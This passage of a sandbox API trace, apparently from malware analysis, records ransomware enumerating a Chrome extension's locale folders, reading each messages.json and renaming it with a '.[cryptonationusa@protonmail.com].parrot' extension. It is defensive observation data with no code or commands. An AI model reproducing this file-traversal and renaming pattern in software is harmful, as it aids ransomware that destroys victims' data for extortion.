data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.156] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.156] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9163fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9163fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.157] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9163fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.157] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.157] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.157] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.157] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.157] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.157] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.157] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.158] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.158] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.158] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.159] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe6, lpOverlapped=0x0) returned 1 [0073.159] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.159] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.159] CloseHandle (hObject=0x28c) returned 1 [0073.160] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.163] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.164] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9163fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9163fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.165] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9163fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.166] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.166] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.166] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.166] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.166] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.166] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.166] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fa, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.166] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.166] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.167] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.167] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe2, lpOverlapped=0x0) returned 1 [0073.168] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.168] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.168] CloseHandle (hObject=0x28c) returned 1 [0073.169] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.171] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.171] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb918a100, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb918a100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.172] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb918a100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.172] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.173] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.173] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.173] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.173] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.173] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.173] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20a, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.173] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.173] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.174] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.174] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xf2, lpOverlapped=0x0) returned 1 [0073.175] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.175] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.175] CloseHandle (hObject=0x28c) returned 1 [0073.175] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.236] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.236] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9222680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9222680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.237] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb918a100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.237] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.238] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.238] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.238] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.238] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.238] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.239] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x218, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.239] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.239] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.240] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.240] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x100, lpOverlapped=0x0) returned 1 [0073.241] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.241] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x218, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.241] CloseHandle (hObject=0x28c) returned 1 [0073.242] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.249] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.249] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb92487e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb92487e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.250] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9222680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.251] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.251] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.251] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.251] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.251] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.251] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.251] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x227, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.251] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.251] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: 